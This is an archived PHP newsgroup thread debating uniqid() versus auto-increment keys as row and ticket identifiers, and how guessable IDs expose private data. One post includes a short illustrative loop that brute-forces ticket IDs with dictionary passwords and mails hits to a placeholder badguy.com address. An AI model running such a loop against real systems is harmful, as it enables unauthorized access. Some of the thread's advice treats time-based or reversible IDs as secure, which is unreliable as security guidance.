uniqid as a db unique row identifyer
MrBoom
identifyer in a db table? It's *highly* unlikely that two ids are
going to be generated in the same microsecond, but if they are,
setting lcg as true should eliminate any problems I'd have thought.
Anyway, these are my thoughts, do people agree?
André Næss
Why would you want to do that when an auto-incrementing number is
*guaranteed* to be unique and is much simpler?
André Næss
Shawn Wilson
I've done this before when I wanted unique ids that couldn't be easily guessed
by potential hackers, or where I didn't want to give away the size of a
database.
http://domain.com/support.php?ticketid=10
http://domain.com/support.php?ticketid=11
http://domain.com/support.php?ticketid=12
tells the user they're dealing with a small-potatos company.
http://domain.com/support.php?ticketid=092386926834
http://domain.com/support.php?ticketid=440265495743
http://domain.com/support.php?ticketid=215764896614
doesn't give them any idea how big the company/website is.
Regards,
Shawn
--
Shawn Wilson
sh...@glassgiant.com
http://www.glassgiant.com
André Næss
> André Næss wrote:
>>
>> MrBoom:
>>
>> > Does using uniqid seem a reasonable way of generating a unique row
>> > identifyer in a db table? It's *highly* unlikely that two ids are
>> > going to be generated in the same microsecond, but if they are,
>> > setting lcg as true should eliminate any problems I'd have thought.
>> > Anyway, these are my thoughts, do people agree?
>>
>> Why would you want to do that when an auto-incrementing number is
>> *guaranteed* to be unique and is much simpler?
>
> I've done this before when I wanted unique ids that couldn't be easily
> guessed by potential hackers, or where I didn't want to give away the size
> of a database.
Then start the incrementing number at 1122342345365 :)
But in the end you should strive to find good keys. I'm currently working on
importing data from an external datasource into an existing webshop. If
both system had actually used natural keys this wouldn't be hard, but due
to the current use of surrogate keys it's a real pain.
André Næss
Shawn Wilson
>
> Shawn Wilson:
>
> > André Næss wrote:
> >>
> >> MrBoom:
> >>
> >> > Does using uniqid seem a reasonable way of generating a unique row
> >> > identifyer in a db table? It's *highly* unlikely that two ids are
> >> > going to be generated in the same microsecond, but if they are,
> >> > setting lcg as true should eliminate any problems I'd have thought.
> >> > Anyway, these are my thoughts, do people agree?
> >>
> >> Why would you want to do that when an auto-incrementing number is
> >> *guaranteed* to be unique and is much simpler?
> >
> > I've done this before when I wanted unique ids that couldn't be easily
> > guessed by potential hackers, or where I didn't want to give away the size
> > of a database.
>
> Then start the incrementing number at 1122342345365 :)
Still gives away volume of tickets over time and makes ids guessable by
hackers. I'm not super-paranoid or anything, but I prefer to give people no
information by default, then give them just what they need, rather than give
them everything, then take away what's a security risk.
http://domain.com/support.php?ticketid=1122342345365
..a weeks goes by...
http://domain.com/support.php?ticketid=1122342345372
= 7 tickets per week
Or, if you were trying to read other people's tickets (or whatever else), you
could do something like this:
for($i=1122342345365;$i<1122342345465;++$i) {
foreach($arrDictionary as $word)
if
(is_real_page("http://domain.com/support.php?ticketid=1122342345365&password=$word"))
mail("bad...@badguy.com", "We're in", $i." is a real ticket # with
password $word");
}
This is obviously a simplistic example. Any decent system should have some kind
of reporting/blacklisting script set up for this kind of approach, but the point
is, if you're trying to get in it's a lot easier if you know the first step.
> But in the end you should strive to find good keys. I'm currently working on
> importing data from an external datasource into an existing webshop. If
> both system had actually used natural keys this wouldn't be hard, but due
> to the current use of surrogate keys it's a real pain.
I would agree that if the key is unlikely to ever be presented to the user, then
the simpler the better. I just brought up the above examples as practical uses
for non-sequential unique ids.
Chung Leong
If you have a situation where you need to display private info without the
visitor logging in, I would take the primary key from the database, append a
string of random characters, then pass it through md5() or sha1() and store
the resulting hash in another column.
What you get from uniqid() isn't unguessable, since it's based on the system
time. All a potential hacker has to do is scan through the particular time
range during which the id might have been generated.
Uzytkownik "Shawn Wilson" <sh...@glassgiant.com> napisal w wiadomosci
news:402A529C...@glassgiant.com...
MrBoom
> What you get from uniqid() isn't unguessable, since it's based on the system
> time. All a potential hacker has to do is scan through the particular time
> range during which the id might have been generated.
But surely setting lcg as true would make it unguessable?
Shawn Wilson
>
> I don't know about MySQL, but in MS SQL the increment can be greater than 1.
Any size increment would be easy to spot by generating 2 or 3 requests in a
row(as in a ticket system).
> If you have a situation where you need to display private info without the
> visitor logging in, I would take the primary key from the database, append a
> string of random characters, then pass it through md5() or sha1() and store
> the resulting hash in another column.
Yes, that would be more secure. I'm not suggesting anyone ever use only
uniqid() in lieu of passwords. But if you just want a quick unique id to
prevent giving away information _easily_, I think it's a good choice. Use a
prefix, set lcg to true, and run it through md5() if it's very
private/important.
> What you get from uniqid() isn't unguessable, since it's based on the system
> time. All a potential hacker has to do is scan through the particular time
> range during which the id might have been generated.
Assuming they were trying to get a particular request and you didn't use lcg,
yes. But it still requires that they expend a lot of time just to get the first
step (knowing the id). The problem I have with incremental primary keys as
user-visible identifiers is that they give hackers a (potentially) huge number
of starting points. In other words, they could try the 10 most common passwords
on 1000 tickets/accounts/whatever. And they'd be likely to get one or more
hits.
R. Rajesh Jeba Anbiah
> André Næss wrote:
> >
> > Shawn Wilson:
> >
> > > André Næss wrote:
> > >>
> > >> MrBoom:
> > >>
> > >> > Does using uniqid seem a reasonable way of generating a unique row
> > >> > identifyer in a db table? It's *highly* unlikely that two ids are
> > >> > going to be generated in the same microsecond, but if they are,
> > >> > setting lcg as true should eliminate any problems I'd have thought.
> > >> > Anyway, these are my thoughts, do people agree?
> > >>
> > >> Why would you want to do that when an auto-incrementing number is
> > >> *guaranteed* to be unique and is much simpler?
> > >
> > > I've done this before when I wanted unique ids that couldn't be easily
> > > guessed by potential hackers, or where I didn't want to give away the size
> > > of a database.
> >
> > Then start the incrementing number at 1122342345365 :)
>
> Still gives away volume of tickets over time and makes ids guessable by
> hackers. I'm not super-paranoid or anything, but I prefer to give people no
> information by default, then give them just what they need, rather than give
> them everything, then take away what's a security risk.
IMHO, avoiding auto_incremented key is a mess. Probably may
consider crypting the query string.
eg. $fake_ticket_id = substr(md5($real_ticket_id), 0, 5) .
dechex($real_ticket_id). substr(md5($real_ticket_id), 5, 5);
In this case, we may get back $real_ticket_id from the
$fake_ticket_id and can also check the validity of the query string.
--
"Success = 10% sweat + 90% tears"
If you live in USA, please support John Edwards.
Email: rrjanbiah-at-Y!com
Chung Leong
randomness. For security purpose I prefer to use something that was
designed--and more importantly, was tested and analysed--with that in mind.
The primary key doesn't need to be random if you're not exposing it, that is
my point. If you need some kind of a random tracking string, then generate
one and stick it in the database.
Uzytkownik "MrBoom" <andy_is...@hotmail.com> napisal w wiadomosci
news:9b6a13b2.04021...@posting.google.com...